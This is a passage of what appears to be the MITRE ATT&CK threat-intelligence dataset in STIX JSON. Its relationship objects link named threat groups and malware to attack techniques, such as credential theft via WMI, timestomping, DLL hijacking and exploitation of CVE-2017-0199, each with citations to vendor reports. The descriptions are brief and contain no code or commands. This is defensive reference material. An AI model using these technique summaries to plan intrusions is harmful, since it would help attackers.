                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                },
                {
                    "source_name": "CameraShy",
                    "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.",
                    "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.302Z",
            "created": "2017-05-31T21:33:27.054Z"
        },
        {
            "id": "relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have split RAR files for exfiltration into parts.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.098Z",
            "created": "2017-05-31T21:33:27.062Z"
        },
        {
            "id": "relationship--1cabd067-2229-488f-a244-03aa087b7e54",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
            "type": "relationship",
            "modified": "2020-03-30T01:06:25.111Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9f618c0f-79b8-4990-a02b-6e3187b14033",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) has used command line during its intrusions.(Citation: Symantec Sowbug Nov 2017)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "source_name": "Symantec Sowbug Nov 2017"
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            ],
            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:38:39.991Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--06a8b931-7881-4e8b-a970-c430379279ca",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
            "type": "relationship",
            "modified": "2020-03-13T21:04:13.631Z",
            "created": "2017-05-31T21:33:27.027Z"
        },
        {
            "id": "relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "type": "relationship",
            "modified": "2020-03-17T16:19:26.841Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has obtained the victim username and sent it to the C2 server.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
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            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can search files on a victim.(Citation: US-CERT FALLCHILL Nov 2017)",
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                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) used WMI to steal credentials and execute backdoors at a future time.(Citation: Mandiant No Easy Breach) They have also used WMI for the remote execution of files for lateral movement.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)",
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                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "source_name": "Mandiant No Easy Breach"
                },
                {
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                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
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                {
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
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                }
            ],
            "description": "(Citation: Kaspersky Turla)",
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            "modified": "2019-07-14T21:04:45.644Z",
            "created": "2017-05-31T21:33:27.045Z"
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            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can run [Systeminfo](https://attack.mitre.org/software/S0096) to gather information about the victim.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)",
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                {
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                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                },
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
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                {
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                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                },
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                },
                {
                    "source_name": "Securelist ScarCruft May 2019",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
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            "description": "[ChChes](https://attack.mitre.org/software/S0144) collects the victim hostname, window resolution, and Microsoft Windows version.(Citation: Palo Alto menuPass Feb 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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                {
                    "source_name": "Palo Alto menuPass Feb 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
                },
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
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            "description": "[USBStealer](https://attack.mitre.org/software/S0136) drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.(Citation: ESET Sednit USBStealer 2014)",
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                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
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            ],
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            "relationship_type": "uses",
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            "relationship_type": "uses",
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                    "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Haq 2014"
                }
            ],
            "description": "(Citation: Haq 2014)",
            "type": "relationship",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
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            ],
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            "relationship_type": "mitigates",
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) used PowerShell commands to execute payloads.(Citation: FireEye APT19)",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
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            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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            "created": "2018-10-17T00:14:20.652Z"
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        {
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            "description": "[ELMER](https://attack.mitre.org/software/S0064) uses HTTP for command and control.(Citation: FireEye EPS Awakens Part 2)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
            "relationship_type": "uses",
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            "description": "[TA459](https://attack.mitre.org/groups/G0062) has exploited Microsoft Word vulnerability CVE-2017-0199 for execution.(Citation: Proofpoint TA459 April 2017)",
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                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
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            ],
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            "relationship_type": "uses",
            "target_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
            "external_references": [
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "description": "(Citation: F-Secure The Dukes)",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.493Z",
            "created": "2017-05-31T21:33:27.050Z"
        },
        {
            "id": "relationship--62fd473e-e045-4a47-828a-ab5ee7b4fcf0",
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used watering holes to deliver files with exploits to initial victims.(Citation: Symantec Patchwork)(Citation: Volexity Patchwork June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Patchwork",
                    "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"
                },
                {
                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.862Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962",
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            "description": "[GLOOXMAIL](https://attack.mitre.org/software/S0026) communicates to servers operated by Google using the Jabber/XMPP protocol.(Citation: Mandiant APT1)(Citation: CyberESI GTALK)",
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            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "CyberESI GTALK",
                    "description": "CyberESI. (2011). TROJAN.GTALK. Retrieved June 29, 2015.",
                    "url": "http://www.cyberengineeringservices.com/2011/12/15/trojan-gtalk/"
                }
            ],
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            "modified": "2020-03-20T21:13:00.163Z",
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        },
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                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
                }
            ],
            "description": "[TA459](https://attack.mitre.org/groups/G0062) has used a Gh0st variant known as PCrat/Gh0st.(Citation: Proofpoint TA459 April 2017)",
            "type": "relationship",
            "modified": "2019-03-25T17:00:47.416Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.(Citation: Kaspersky ProjectSauron Full Report)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
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            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.(Citation: FireEye FIN10 June 2017)(Citation: Github PowerShell Empire)",
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                {
                    "source_name": "FireEye FIN10 June 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                },
                {
                    "url": "https://github.com/PowerShellEmpire/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
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        },
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            "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.(Citation: F-Secure BlackEnergy 2014)",
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                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
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                    "source_name": "F-Secure BlackEnergy 2014"
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            ],
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            "type": "relationship",
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        },
        {
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        {
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            "description": "[Keydnap](https://attack.mitre.org/software/S0276) prompts the users for credentials.(Citation: synack 2016 review)",
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            ],
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                {
                    "source_name": "synack 2016 review",
                    "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.",
                    "url": "https://www.synack.com/2017/01/01/mac-malware-2016/"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "type": "relationship",
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            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[StreamEx](https://attack.mitre.org/software/S0142) uses rundll32 to call an exported function.(Citation: Cylance Shell Crew Feb 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-19T22:02:48.996Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--75785351-1b28-422b-99c9-9fe80eedee05",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro.(Citation: McAfee Honeybee)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
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            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.586Z",
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        {
            "id": "relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) queries the system to identify existing services.(Citation: US-CERT Volgmer Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-10-15T22:51:02.957Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to discover system firewall settings.(Citation: TechNet Netsh)(Citation: TechNet Netsh Firewall)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Netsh",
                    "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
                    "url": "https://technet.microsoft.com/library/bb490939.aspx"
                },
                {
                    "source_name": "TechNet Netsh Firewall",
                    "description": "Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx"
                }
            ],
            "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-28T01:00:55.119Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--20cf444d-b538-4971-b054-3d749aa945f0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page.(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: Microsoft Totbrick Oct 2017)(Citation: Trend Micro Trickbot Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre",
                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
                    "source_name": "Fidelis TrickBot Oct 2016"
                },
                {
                    "source_name": "IBM TrickBot Nov 2016",
                    "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.",
                    "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/"
                },
                {
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick",
                    "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.",
                    "source_name": "Microsoft Totbrick Oct 2017"
                },
                {
                    "source_name": "Trend Micro Trickbot Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018."
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            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "type": "relationship",
            "modified": "2020-03-18T20:49:23.260Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
            "id": "relationship--d4c4e420-4e1a-420d-9d6a-08fe6d322217",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use WMI to execute a binary.(Citation: Nccgroup Emissary Panda May 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.799Z",
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        {
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) used Kerberos ticket attacks for lateral movement.(Citation: Mandiant No Easy Breach)",
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            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-07-25T14:25:53.241Z",
            "created": "2017-05-31T21:33:27.049Z"
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        {
            "id": "relationship--7dba7706-128e-43a7-a240-6d456c9003a2",
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            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                },
                {
                    "source_name": "CameraShy",
                    "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.",
                    "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.300Z",
            "created": "2017-05-31T21:33:27.053Z"
        },
        {
            "id": "relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb",
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL search order hijacking.(Citation: PWC Cloud Hopper April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "source_name": "PWC Cloud Hopper April 2017"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.786Z",
            "created": "2017-12-14T16:46:06.044Z"
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        {
            "id": "relationship--a8f11c39-df96-451e-a93a-417512f82819",
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            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Accenture Hogfish April 2018)",
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                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
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                },
                {
                    "source_name": "Accenture Hogfish April 2018",
